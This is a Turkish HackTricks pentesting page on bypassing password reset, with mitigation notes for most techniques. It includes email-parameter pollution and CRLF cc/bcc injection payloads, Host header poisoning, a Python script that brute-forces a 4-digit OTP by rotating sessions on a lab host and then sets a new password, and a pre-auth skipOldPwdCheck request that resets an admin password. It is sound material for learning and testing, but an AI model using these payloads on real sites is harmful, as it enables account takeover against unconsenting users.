Şifre Sıfırlama / Unutulmuş Şifre Atlatma

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Şifre Sıfırlama Token Leak Referer Üzerinden

  • HTTP referer header, URL içinde şifre sıfırlama token'ı varsa token'ı leak edebilir. Bu, bir kullanıcı şifre sıfırlama talep ettikten sonra üçüncü taraf bir siteye tıklarsa oluşabilir.
  • Impact: Cross-Site Request Forgery (CSRF) saldırıları yoluyla potansiyel hesap ele geçirme.
  • Exploitation: HTTP referer header içinde bir şifre sıfırlama token'ının leak olup olmadığını kontrol etmek için, e-posta adresinize şifre sıfırlama isteği gönderin ve verilen reset linkine tıklayın. Hemen parolayı değiştirmeyin. Bunun yerine, istekleri Burp Suite ile intercept ederken bir üçüncü taraf web sitesine (ör. Facebook veya Twitter) gidin. İstekleri inceleyerek referer header içinde şifre sıfırlama token'ı olup olmadığını kontrol edin — bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir.
  • Impact: Reset token'larının saldırgana leak olmasıyla potansiyel hesap ele geçirme.
  • Mitigation Steps:
  • Host header'ı izin verilen domainler listesiyle doğrulayın.
  • Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın.
  • Patch: Password reset URL'lerini oluştururken $_SERVER['SERVER_NAME'] kullanın; $_SERVER['HTTP_HOST'] yerine.
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Saldırganlar, reset linkini başka bir yere yönlendirmek için password reset isteğindeki email parametresini manipüle edebilir.

  • Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • İkinci parametre olarak attacker email ekle %20 kullanarak
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • attacker email'i ikinci parametre olarak | ile ekle
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • cc kullanarak attacker email'i ikinci parametre olarak ekle
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Saldırgan e-posta adresini bcc kullanarak ikinci parametre olarak ekleyin
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • İkinci parametre olarak attacker email ekleyin, kullanarak ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Saldırgan e-posta adresini json dizisinin ikinci parametresi olarak ekleyin
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

API Parametreleri Aracılığıyla Herhangi Bir Kullanıcının E-posta ve Parolasının Değiştirilmesi

  • Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve parola parametrelerini değiştirebilirler.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Hafifletme Adımları:
  • Parametre doğrulaması ve kimlik doğrulama kontrollerinin sıkı olduğundan emin olun.
  • Şüpheli etkinlikleri tespit etmek ve yanıtlamak için güçlü kayıt tutma ve izleme uygulayın.
  • Reference:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • Şifre sıfırlama isteklerinde rate limiting olmaması email bombing'e yol açabilir ve kullanıcıyı sıfırlama e-postalarıyla bunaltabilir.
  • Hafifletme Adımları:
  • IP adresi veya kullanıcı hesabına göre rate limiting uygulayın.
  • Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın.
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Token oluşturma desenini veya yöntemini anlamak, token'ların tahmin edilmesine veya brute-forcing ile ele geçirilmesine yol açabilir. Bazı seçenekler:
  • Timestamp'a dayalı
  • UserID'e dayalı
  • Kullanıcının email'ine dayalı
  • İsim ve soyisme dayalı
  • Doğum tarihine dayalı
  • Kriptografi tabanlı
  • Hafifletme Adımları:
  • Token oluşturmak için güçlü, kriptografik yöntemler kullanın.
  • Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın.
  • Araçlar: Burp Sequencer kullanarak token'ların rastgeleliğini analiz edin.

Guessable UUID

  • UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için bunları brute-force ile deneyebilir. Kontrol edin:

UUID Insecurities

  • Hafifletme Adımları:
  • Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
  • Araçlar: GUID'leri analiz etmek ve oluşturmak için guidtool kullanın.

Response Manipulation: Replace Bad Response With Good One

  • Hata mesajlarını veya kısıtlamaları atlamak için HTTP yanıtlarını manipüle etmek.
  • Hafifletme Adımları:
  • Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
  • Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Süresi dolmuş token'ların hâlâ şifre sıfırlamada kullanılıp kullanılamayacağını test etmek.
  • Hafifletme Adımları:
  • Sıkı token süre sonu politikaları uygulayın ve token süre sonunu sunucu tarafında doğrulayın.

Brute Force Password Reset Token

  • IP tabanlı rate limitleri aşmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force etmeyi denemek.
  • Hafifletme Adımları:
  • Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın.
  • Brute-force saldırılarına işaret eden şüpheli etkinlikleri izleyin.

Try Using Your Token

  • Bir saldırganın reset token'ının kurbanın e-postası ile birlikte kullanılıp kullanılamayacağını test etmek.
  • Hafifletme Adımları:
  • Token'ların kullanıcı oturumuna veya diğer kullanıcıya özgü niteliklere bağlı olduğundan emin olun.

Session Invalidation in Logout/Password Reset

  • Bir kullanıcı oturumu kapattığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olmak.
  • Hafifletme Adımları:
  • Oturum kapatma veya şifre sıfırlama sırasında tüm oturumların geçersiz kılınmasını sağlayacak doğru oturum yönetimini uygulayın.

Session Invalidation in Logout/Password Reset

  • Reset token'larının belirli bir süre sonu olmalı ve bu süreden sonra geçersiz olmalılar.
  • Hafifletme Adımları:
  • Reset token'ları için makul bir süre sonu belirleyin ve bunu sunucu tarafında kesinlikle uygulayın.

OTP rate limit bypass by changing your session

  • Eğer web sitesi yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 hane) OTP'yi etkin bir şekilde brute-force edebiliriz.
  • Sömürme:
  • Sunucu tarafından engellendikten sonra sadece yeni bir session token isteyin.
  • Örnek kodu, OTP'yi rastgele tahmin ederek bu hatayı sömüren (oturumu değiştirdiğinizde OTP de değişecektir, bu yüzden ardışık brute-force yapamayacağız!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Bazı uygulamalar, skipOldPwdCheck=true ile password-change rutinini çağıran ve herhangi bir reset token'ı veya sahipliği doğrulamayan bir password change eylemi açığa çıkarır. Eğer endpoint, request gövdesinde change_password gibi bir action parametresini ve bir username/yeni şifre kabul ediyorsa, bir saldırgan pre-auth olarak rastgele hesapları sıfırlayabilir.

Zafiyetli desen (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation isteği (kavram):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Önlemler:

  • Parola değiştirmeden önce her zaman hesaba ve session'a bağlı, süreyle sınırlı geçerli bir reset token gerektirin.
  • skipOldPwdCheck path'lerini kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın.
  • Parola değişikliğinden sonra tüm aktif session'ları ve reset token'ları geçersiz kılın.

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin